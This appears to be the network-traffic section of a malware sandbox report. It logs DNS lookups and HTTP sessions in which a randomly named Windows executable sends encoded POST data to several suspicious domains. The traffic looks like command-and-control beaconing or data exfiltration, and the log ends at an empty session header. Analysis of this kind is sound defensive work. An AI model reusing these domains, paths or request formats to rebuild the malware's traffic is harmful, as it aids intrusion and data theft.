                                    Sep 13, 2024 19:32:01.104099989 CEST4976080192.168.2.4192.241.156.136
                                    Sep 13, 2024 19:32:02.138011932 CEST4976080192.168.2.4192.241.156.136
                                    Sep 13, 2024 19:32:03.156137943 CEST4976180192.168.2.4192.241.156.136
                                    Sep 13, 2024 19:32:03.226517916 CEST8049761192.241.156.136192.168.2.4
                                    Sep 13, 2024 19:32:03.226593971 CEST4976180192.168.2.4192.241.156.136
                                    Sep 13, 2024 19:32:03.233035088 CEST4976180192.168.2.4192.241.156.136
                                    Sep 13, 2024 19:32:03.237915993 CEST8049761192.241.156.136192.168.2.4
                                    Sep 13, 2024 19:32:03.679369926 CEST8049761192.241.156.136192.168.2.4
                                    Sep 13, 2024 19:32:03.679440022 CEST8049761192.241.156.136192.168.2.4
                                    Sep 13, 2024 19:32:03.679608107 CEST4976180192.168.2.4192.241.156.136
                                    Sep 13, 2024 19:32:03.682125092 CEST4976180192.168.2.4192.241.156.136
                                    Sep 13, 2024 19:32:03.686892986 CEST8049761192.241.156.136192.168.2.4

                                    UDP Packets

                                    TimestampSource PortDest PortSource IPDest IP
                                    Sep 13, 2024 19:30:07.593271017 CEST4964153192.168.2.41.1.1.1
                                    Sep 13, 2024 19:30:07.607140064 CEST53496411.1.1.1192.168.2.4
                                    Sep 13, 2024 19:30:26.126673937 CEST6072953192.168.2.41.1.1.1
                                    Sep 13, 2024 19:30:27.122505903 CEST6072953192.168.2.41.1.1.1
                                    Sep 13, 2024 19:30:27.218785048 CEST53607291.1.1.1192.168.2.4
                                    Sep 13, 2024 19:30:27.218928099 CEST53607291.1.1.1192.168.2.4
                                    Sep 13, 2024 19:31:01.252197027 CEST5154953192.168.2.41.1.1.1
                                    Sep 13, 2024 19:31:01.352777004 CEST53515491.1.1.1192.168.2.4
                                    Sep 13, 2024 19:31:14.502274036 CEST5724853192.168.2.41.1.1.1
                                    Sep 13, 2024 19:31:14.679253101 CEST53572481.1.1.1192.168.2.4
                                    Sep 13, 2024 19:31:27.879811049 CEST5697353192.168.2.41.1.1.1
                                    Sep 13, 2024 19:31:27.892426014 CEST53569731.1.1.1192.168.2.4
                                    Sep 13, 2024 19:31:41.055557966 CEST6301253192.168.2.41.1.1.1
                                    Sep 13, 2024 19:31:41.336191893 CEST53630121.1.1.1192.168.2.4
                                    Sep 13, 2024 19:31:55.474040985 CEST5643353192.168.2.41.1.1.1
                                    Sep 13, 2024 19:31:55.498636961 CEST53564331.1.1.1192.168.2.4
                                    Sep 13, 2024 19:32:08.690541029 CEST6198753192.168.2.41.1.1.1
                                    Sep 13, 2024 19:32:08.939100027 CEST53619871.1.1.1192.168.2.4

                                    DNS Queries

                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                    Sep 13, 2024 19:30:07.593271017 CEST192.168.2.41.1.1.10xba18Standard query (0)www.filelabel.infoA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:30:26.126673937 CEST192.168.2.41.1.1.10xa513Standard query (0)www.qmmkl.buzzA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:30:27.122505903 CEST192.168.2.41.1.1.10xa513Standard query (0)www.qmmkl.buzzA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:01.252197027 CEST192.168.2.41.1.1.10xb85cStandard query (0)www.weatherbook.liveA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:14.502274036 CEST192.168.2.41.1.1.10xdd04Standard query (0)www.gemtastic.shopA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:27.879811049 CEST192.168.2.41.1.1.10x77b2Standard query (0)www.airbatchnow.onlineA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:41.055557966 CEST192.168.2.41.1.1.10x9befStandard query (0)www.tempatmudisini01.clickA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:55.474040985 CEST192.168.2.41.1.1.10x3365Standard query (0)www.luismoreno.monsterA (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:32:08.690541029 CEST192.168.2.41.1.1.10x80afStandard query (0)www.cenfresh.lifeA (IP address)IN (0x0001)false

                                    DNS Answers

                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                    Sep 13, 2024 19:30:07.607140064 CEST1.1.1.1192.168.2.40xba18No error (0)www.filelabel.infofilelabel.infoCNAME (Canonical name)IN (0x0001)false
                                    Sep 13, 2024 19:30:07.607140064 CEST1.1.1.1192.168.2.40xba18No error (0)filelabel.info3.33.130.190A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:30:07.607140064 CEST1.1.1.1192.168.2.40xba18No error (0)filelabel.info15.197.148.33A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:30:27.218785048 CEST1.1.1.1192.168.2.40xa513No error (0)www.qmmkl.buzz199.115.230.222A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:30:27.218928099 CEST1.1.1.1192.168.2.40xa513No error (0)www.qmmkl.buzz199.115.230.222A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:01.352777004 CEST1.1.1.1192.168.2.40xb85cNo error (0)www.weatherbook.liveweatherbook.liveCNAME (Canonical name)IN (0x0001)false
                                    Sep 13, 2024 19:31:01.352777004 CEST1.1.1.1192.168.2.40xb85cNo error (0)weatherbook.live3.33.130.190A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:01.352777004 CEST1.1.1.1192.168.2.40xb85cNo error (0)weatherbook.live15.197.148.33A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:14.679253101 CEST1.1.1.1192.168.2.40xdd04No error (0)www.gemtastic.shop194.195.220.41A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:27.892426014 CEST1.1.1.1192.168.2.40x77b2No error (0)www.airbatchnow.onlineairbatchnow.onlineCNAME (Canonical name)IN (0x0001)false
                                    Sep 13, 2024 19:31:27.892426014 CEST1.1.1.1192.168.2.40x77b2No error (0)airbatchnow.online15.197.225.128A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:27.892426014 CEST1.1.1.1192.168.2.40x77b2No error (0)airbatchnow.online3.33.251.168A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:41.336191893 CEST1.1.1.1192.168.2.40x9befNo error (0)www.tempatmudisini01.clicktempatmudisini01.clickCNAME (Canonical name)IN (0x0001)false
                                    Sep 13, 2024 19:31:41.336191893 CEST1.1.1.1192.168.2.40x9befNo error (0)tempatmudisini01.click103.21.221.4A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:31:55.498636961 CEST1.1.1.1192.168.2.40x3365No error (0)www.luismoreno.monster192.241.156.136A (IP address)IN (0x0001)false
                                    Sep 13, 2024 19:32:08.939100027 CEST1.1.1.1192.168.2.40x80afNo error (0)www.cenfresh.life199.192.21.169A (IP address)IN (0x0001)false

                                    HTTP Request Dependency Graph

                                    • www.filelabel.info
                                    • www.qmmkl.buzz
                                    • www.weatherbook.live
                                    • www.gemtastic.shop
                                    • www.airbatchnow.online
                                    • www.tempatmudisini01.click
                                    • www.luismoreno.monster

                                    HTTP Packets

                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    0192.168.2.4497373.33.130.19080736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:30:07.643023968 CEST469OUTGET /z6kq/?4N=bmvBqOFTp4JT+uMd1qAjxjsooXgcWApZ2hy00dGXE/EHLUOh31d+gItaXdwR0EhAvEv1PFbZE4a6Qvx04s9f7DO6vj73IEDziUKJOJ9cSNkW/JV3l24UMG4=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Language: en-US,en
                                    Host: www.filelabel.info
                                    Connection: close
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Sep 13, 2024 19:30:11.070746899 CEST400INHTTP/1.1 200 OK
                                    Server: openresty
                                    Date: Fri, 13 Sep 2024 17:30:11 GMT
                                    Content-Type: text/html
                                    Content-Length: 260
                                    Connection: close
                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 34 4e 3d 62 6d 76 42 71 4f 46 54 70 34 4a 54 2b 75 4d 64 31 71 41 6a 78 6a 73 6f 6f 58 67 63 57 41 70 5a 32 68 79 30 30 64 47 58 45 2f 45 48 4c 55 4f 68 33 31 64 2b 67 49 74 61 58 64 77 52 30 45 68 41 76 45 76 31 50 46 62 5a 45 34 61 36 51 76 78 30 34 73 39 66 37 44 4f 36 76 6a 37 33 49 45 44 7a 69 55 4b 4a 4f 4a 39 63 53 4e 6b 57 2f 4a 56 33 6c 32 34 55 4d 47 34 3d 26 52 42 45 44 6d 3d 43 5a 70 30 4a 44 53 48 69 64 6e 34 66 58 63 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                    Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?4N=bmvBqOFTp4JT+uMd1qAjxjsooXgcWApZ2hy00dGXE/EHLUOh31d+gItaXdwR0EhAvEv1PFbZE4a6Qvx04s9f7DO6vj73IEDziUKJOJ9cSNkW/JV3l24UMG4=&RBEDm=CZp0JDSHidn4fXc"}</script></head></html>


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    1192.168.2.449738199.115.230.22280736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:30:27.238034964 CEST720OUTPOST /o30j/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.qmmkl.buzz
                                    Content-Length: 199
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.qmmkl.buzz
                                    Referer: http://www.qmmkl.buzz/o30j/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 34 77 71 71 42 49 69 72 47 75 2b 75 52 2f 33 39 48 69 53 49 46 4b 53 6f 68 36 45 79 4a 79 75 67 6b 78 34 65 4b 49 46 7a 4e 4f 69 56 43 5a 6f 32 59 36 4f 72 31 38 70 39 68 7a 59 37 52 65 73 2f 33 41 55 73 45 54 53 6b 50 7a 43 73 63 66 36 70 33 4b 6d 4d 51 4e 79 6d 6c 4f 32 58 42 4e 71 71 55 4a 33 44 79 4c 70 48 35 75 50 31 56 41 52 66 79 74 57 7a 68 37 36 64 72 69 6b 56 44 46 52 33 6d 47 55 73 34 70 4d 61 32 4a 79 66 61 73 51 38 79 2f 69 62 43 43 36 48 52 63 70 41 4c 76 79 53 48 35 59 64 68 75 63 57 68 67 6a 55 79 57 54 72 54 4d 68 30 36 71 70 53 32 52 45 6d 69 36 77 75 74 77 3d 3d
                                    Data Ascii: 4N=4wqqBIirGu+uR/39HiSIFKSoh6EyJyugkx4eKIFzNOiVCZo2Y6Or18p9hzY7Res/3AUsETSkPzCscf6p3KmMQNymlO2XBNqqUJ3DyLpH5uP1VARfytWzh76drikVDFR3mGUs4pMa2JyfasQ8y/ibCC6HRcpALvySH5YdhucWhgjUyWTrTMh06qpS2REmi6wutw==


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    2192.168.2.449739199.115.230.22280736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:30:29.784856081 CEST740OUTPOST /o30j/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.qmmkl.buzz
                                    Content-Length: 219
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.qmmkl.buzz
                                    Referer: http://www.qmmkl.buzz/o30j/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 34 77 71 71 42 49 69 72 47 75 2b 75 52 66 6e 39 45 46 2b 49 43 71 53 76 2f 71 45 79 51 69 75 6b 6b 78 30 65 4b 4e 6c 6a 4d 36 4f 56 44 37 67 32 5a 2f 36 72 30 38 70 39 35 6a 59 2b 63 2b 73 4b 33 41 51 65 45 52 32 6b 50 33 53 73 63 65 4b 70 33 35 2b 50 54 39 79 6b 38 2b 32 56 4f 74 71 71 55 4a 33 44 79 4c 4e 68 35 76 6e 31 56 7a 35 66 67 66 75 79 69 37 36 63 75 69 6b 56 48 46 52 7a 6d 47 55 4b 34 72 34 38 32 4c 36 66 61 75 59 38 79 4f 69 59 4d 43 36 46 63 38 70 55 62 76 6a 41 65 34 39 46 70 63 74 7a 2f 68 4c 54 36 77 43 78 43 39 41 6a 6f 71 4e 68 72 57 4e 53 76 35 4e 6e 32 34 61 76 53 2f 2b 58 59 46 4b 32 51 34 70 59 74 46 75 64 32 6b 6b 3d
                                    Data Ascii: 4N=4wqqBIirGu+uRfn9EF+ICqSv/qEyQiukkx0eKNljM6OVD7g2Z/6r08p95jY+c+sK3AQeER2kP3SsceKp35+PT9yk8+2VOtqqUJ3DyLNh5vn1Vz5fgfuyi76cuikVHFRzmGUK4r482L6fauY8yOiYMC6Fc8pUbvjAe49Fpctz/hLT6wCxC9AjoqNhrWNSv5Nn24avS/+XYFK2Q4pYtFud2kk=


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    3192.168.2.449740199.115.230.22280736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:30:32.331768990 CEST10822OUTPOST /o30j/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.qmmkl.buzz
                                    Content-Length: 10299
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.qmmkl.buzz
                                    Referer: http://www.qmmkl.buzz/o30j/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 34 77 71 71 42 49 69 72 47 75 2b 75 52 66 6e 39 45 46 2b 49 43 71 53 76 2f 71 45 79 51 69 75 6b 6b 78 30 65 4b 4e 6c 6a 4d 37 61 56 43 4f 30 32 59 63 53 72 33 38 70 39 78 44 59 2f 63 2b 73 74 33 41 6f 61 45 52 4b 4f 50 31 61 73 47 34 57 70 6d 34 2b 50 45 74 79 6b 30 65 32 57 42 4e 71 2f 55 4a 6e 48 79 4c 64 68 35 76 6e 31 56 32 39 66 33 64 57 79 75 62 36 64 72 69 6c 55 44 46 52 62 6d 47 4e 78 34 72 38 7a 32 2f 32 66 55 74 77 38 68 59 57 59 41 43 36 44 64 38 6f 54 62 76 75 65 65 34 68 4a 70 63 30 59 2f 69 58 54 35 30 61 75 56 4f 63 44 72 49 46 35 70 56 39 70 70 4c 42 52 77 2f 53 34 58 65 53 59 45 55 61 4a 54 65 38 33 33 6c 75 44 67 53 65 2f 62 58 35 62 6b 47 38 62 31 2b 42 53 46 43 4b 43 4f 59 4a 72 6d 47 52 56 41 57 49 45 71 55 53 69 2b 75 79 46 56 4d 59 64 61 39 72 2f 73 74 7a 4e 56 4e 48 77 6b 79 35 58 41 50 73 62 2b 66 77 70 49 57 4d 65 5a 4d 66 70 76 52 39 4a 4d 57 51 57 6a 66 6d 77 51 66 45 6d 58 6c 74 31 69 63 56 55 50 7a 6f 42 53 62 74 4a 4c 67 47 69 52 6a 36 65 7a 36 31 72 43 63 33 [TRUNCATED]
                                    Data Ascii: 4N=4wqqBIirGu+uRfn9EF+ICqSv/qEyQiukkx0eKNljM7aVCO02YcSr38p9xDY/c+st3AoaERKOP1asG4Wpm4+PEtyk0e2WBNq/UJnHyLdh5vn1V29f3dWyub6drilUDFRbmGNx4r8z2/2fUtw8hYWYAC6Dd8oTbvuee4hJpc0Y/iXT50auVOcDrIF5pV9ppLBRw/S4XeSYEUaJTe833luDgSe/bX5bkG8b1+BSFCKCOYJrmGRVAWIEqUSi+uyFVMYda9r/stzNVNHwky5XAPsb+fwpIWMeZMfpvR9JMWQWjfmwQfEmXlt1icVUPzoBSbtJLgGiRj6ez61rCc3nAwM52f+1Jn0ZwW4QcIOHxc2oi9qLfBRq673vWZLYXDCy0exPZxBkVsdLW80nfaWzMNKBt+qlK5MyiUlz/IV0rwGembULPP8u9Wa2tii9xvYjRnMpq9EjlsFXhHSPZZdmP07JZnKpg/fi2gST2jPZ3NL+Fh84xerdkQaE9+Pl/z1rbx0vV7MIXbJ67Eitb0NcUZQW9MD9fSxpwcTjZQYU7ukxwfEsQ0+S2tCje20EeTuB66DK1StjG5XaXBhTgd3JNmWXxmag4X67CEYA3J6tqNsBskGtFtM/r9aYBVBANpUUQJ+ubw0rYklpo8xOwCNwpi71QT4Nqw1HpkjvWvxwEkzg2mAEtwyh3fe7YkpCaAZrfCoOUSPZUa7byKW0HEsMzNppeSwDCt9UcemT9y/rx+ndLcfk27JXPRleqMSmnj3mQH1eCtuyolH4WAZ/et5lrUgEMi9axltLTWJazidcNZCFNAAzPJ3sCBlyGs601T4bbA9JTgHJyvxzi0Brn7RT2NLt0XJZqFaZJZqh4Y3XasXnX3urX/ubsus7AzNMTQwqhJhzIcgffD4qjHbtCWYO7daKgaoLaX2PIJo88id4Y+MgwkHXsJGb5zSVGxKil6kyTzg0Bh+khynL65C7SMcPkO94lhUSqamGPLPB8WMd0tUu1B3jfjKUs [TRUNCATED]


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    4192.168.2.449741199.115.230.22280736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:30:34.875536919 CEST465OUTGET /o30j/?4N=1yCKC9vxOtWMTPaOJgyLEtiq9/sbJyO2oy08E94PP7q+DYsIZuqv6el04nIEaLMbtnEtPCSmAGf5AtXfyPmsRuGvldH0TMH/TZ/pyZwW/ceUaGtf+vHhios=&RBEDm=CZp0JDSHidn4fXc HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Language: en-US,en
                                    Host: www.qmmkl.buzz
                                    Connection: close
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    5192.168.2.4497423.33.130.19080736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:01.389906883 CEST738OUTPOST /f16b/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.weatherbook.live
                                    Content-Length: 199
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.weatherbook.live
                                    Referer: http://www.weatherbook.live/f16b/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 2f 54 43 4e 63 4b 34 4e 4b 73 43 39 46 69 55 72 74 52 62 57 54 72 4f 4c 5a 2f 63 61 61 34 51 59 39 67 37 4b 74 70 44 6f 56 37 65 6d 67 69 4d 52 72 63 6a 56 62 43 6f 50 55 47 42 71 57 53 6d 6c 4b 35 36 50 6a 57 33 4d 39 44 38 51 42 5a 55 6d 35 37 6d 54 56 71 54 67 4f 46 78 38 57 75 59 37 71 77 6a 57 4d 63 75 55 42 59 6d 45 47 71 52 6f 51 62 47 4e 55 61 6c 4e 6c 72 68 2b 69 54 46 78 37 75 55 4a 79 5a 31 73 49 4e 45 49 79 6c 57 32 31 32 65 41 68 2f 43 4b 6e 2b 6f 6c 35 37 37 50 4d 78 55 2b 79 42 31 44 30 70 64 55 64 71 78 31 4f 2f 39 30 4c 46 35 50 41 56 38 75 42 55 44 47 35 51 3d 3d
                                    Data Ascii: 4N=/TCNcK4NKsC9FiUrtRbWTrOLZ/caa4QY9g7KtpDoV7emgiMRrcjVbCoPUGBqWSmlK56PjW3M9D8QBZUm57mTVqTgOFx8WuY7qwjWMcuUBYmEGqRoQbGNUalNlrh+iTFx7uUJyZ1sINEIylW212eAh/CKn+ol577PMxU+yB1D0pdUdqx1O/90LF5PAV8uBUDG5Q==


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    6192.168.2.4497433.33.130.19080736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:03.945461988 CEST758OUTPOST /f16b/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.weatherbook.live
                                    Content-Length: 219
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.weatherbook.live
                                    Referer: http://www.weatherbook.live/f16b/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 2f 54 43 4e 63 4b 34 4e 4b 73 43 39 4b 69 6b 72 76 77 62 57 62 72 4f 45 57 66 63 61 44 6f 51 63 39 67 33 4b 74 71 4f 74 55 4e 32 6d 75 6a 38 52 35 4a 50 56 63 43 6f 50 66 6d 42 72 53 53 6d 55 4b 35 47 74 6a 54 50 4d 39 44 34 51 42 64 51 6d 35 49 65 55 48 4b 54 6d 57 31 78 36 53 75 59 37 71 77 6a 57 4d 63 53 79 42 5a 43 45 47 61 68 6f 42 49 65 4d 59 36 6c 4f 73 4c 68 2b 6d 54 46 39 37 75 55 72 79 64 55 48 49 50 38 49 79 6e 2b 32 31 6b 6d 42 36 50 43 4d 70 65 70 62 76 35 69 68 49 7a 51 2f 76 7a 46 68 32 74 41 7a 56 4d 67 76 66 4f 63 6a 5a 46 64 38 64 53 31 61 4d 58 2b 50 69 61 4f 66 38 4f 4b 68 65 4c 4e 4d 61 4e 4d 43 5a 45 2f 71 42 76 45 3d
                                    Data Ascii: 4N=/TCNcK4NKsC9KikrvwbWbrOEWfcaDoQc9g3KtqOtUN2muj8R5JPVcCoPfmBrSSmUK5GtjTPM9D4QBdQm5IeUHKTmW1x6SuY7qwjWMcSyBZCEGahoBIeMY6lOsLh+mTF97uUrydUHIP8Iyn+21kmB6PCMpepbv5ihIzQ/vzFh2tAzVMgvfOcjZFd8dS1aMX+PiaOf8OKheLNMaNMCZE/qBvE=


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    7192.168.2.4497443.33.130.19080736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:06.496007919 CEST10840OUTPOST /f16b/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.weatherbook.live
                                    Content-Length: 10299
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.weatherbook.live
                                    Referer: http://www.weatherbook.live/f16b/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 2f 54 43 4e 63 4b 34 4e 4b 73 43 39 4b 69 6b 72 76 77 62 57 62 72 4f 45 57 66 63 61 44 6f 51 63 39 67 33 4b 74 71 4f 74 55 4e 2b 6d 75 56 41 52 72 36 33 56 64 43 6f 50 57 47 42 6d 53 53 6d 7a 4b 39 53 70 6a 54 54 44 39 41 51 51 41 34 45 6d 2f 35 65 55 4e 4b 54 6d 4b 46 78 37 57 75 59 55 71 30 48 53 4d 64 75 79 42 5a 43 45 47 59 35 6f 52 72 47 4d 65 36 6c 4e 6c 72 68 79 69 54 45 6f 37 76 78 55 79 63 56 38 4a 37 41 49 38 6e 75 32 30 58 65 42 6e 2f 43 4f 71 65 70 54 76 35 65 69 49 7a 4e 47 76 7a 64 62 32 71 6f 7a 58 61 39 4c 4d 39 38 6c 43 48 64 7a 47 56 4a 66 43 47 69 53 74 35 2f 6c 30 76 47 37 46 6f 6f 6c 51 4d 35 35 63 30 4b 73 44 61 4f 71 59 35 4f 69 45 52 68 6c 77 79 75 39 75 4a 6c 35 5a 59 78 4b 67 4a 67 32 4a 68 2f 73 54 73 45 41 54 2b 38 4f 54 71 63 6f 31 44 2b 4a 5a 52 77 50 49 4b 6e 35 72 4e 44 48 69 30 59 48 4d 77 36 46 68 52 4e 4f 58 38 75 33 6a 64 6e 66 36 38 50 58 73 54 77 35 4b 49 35 55 73 2f 6e 4b 4c 62 65 38 45 44 4f 70 70 2f 53 6b 46 2b 69 7a 44 4e 68 57 6d 6b 6c 4b 41 57 7a [TRUNCATED]
                                    Data Ascii: 4N=/TCNcK4NKsC9KikrvwbWbrOEWfcaDoQc9g3KtqOtUN+muVARr63VdCoPWGBmSSmzK9SpjTTD9AQQA4Em/5eUNKTmKFx7WuYUq0HSMduyBZCEGY5oRrGMe6lNlrhyiTEo7vxUycV8J7AI8nu20XeBn/COqepTv5eiIzNGvzdb2qozXa9LM98lCHdzGVJfCGiSt5/l0vG7FoolQM55c0KsDaOqY5OiERhlwyu9uJl5ZYxKgJg2Jh/sTsEAT+8OTqco1D+JZRwPIKn5rNDHi0YHMw6FhRNOX8u3jdnf68PXsTw5KI5Us/nKLbe8EDOpp/SkF+izDNhWmklKAWzziH4p4ozhRUC73ojpeEFuJGKRlRmwHQHlPaRyAm83T5upd1zjH9J0OwQuoKjDKushCQiLm75JIeDZ0QL8wtv9sNXTF1Nn5bDaiMyoveUTMd8Rphxrq7tblbucHwBShfxo11AE7j3OMw2bz78D5zoBBZAg3mG8hJDn3vqFqfZ7/m+4qzP1hD1zO2OyYuGoLrJW+tXVIJ7lQh//Rr7kBpicRhfj2uTpMVN4a6SN4tsdlyRpxoLinpvE17k4MMrodYJ0f4DUld/KesVelsitjRodJ3cjNoTk5ZxsKRxWBqLl2TITH3DsJz8qu2paLuNkklEeucpQ4ppHMRrEVUQ3sLimhHIPTwoTqunbKiLdxmRwqg4NVaN7P8DQxZa+fkjqsZpGkIeLoVpFM7eYu0HmZDTLttIIb4Z34ueNyv5u80hw2FYGlDKlP4Vt5u4bI2KMFST61iAIBofleUQNntWbkFF05RKZY6FDBR1gUDcjmFNDQug2oVk7+uPwK1ZKAWJ18WPefiNq0Igu1DAWpOpEGCWP8RL3WyBn/EoamkAZ7mdW4fdv0aPSWSaDbuhUDRYJLZ1O7rAn2vlFZMI2p3vW+Z9/KXBmv8awUuVSROv1a5MnmOveLLO/CumwZRtTodEUpetoLdrUXHf7XzCmA2ySkepn9q+HqcYBy7gD+ [TRUNCATED]


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    8192.168.2.4497453.33.130.19080736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
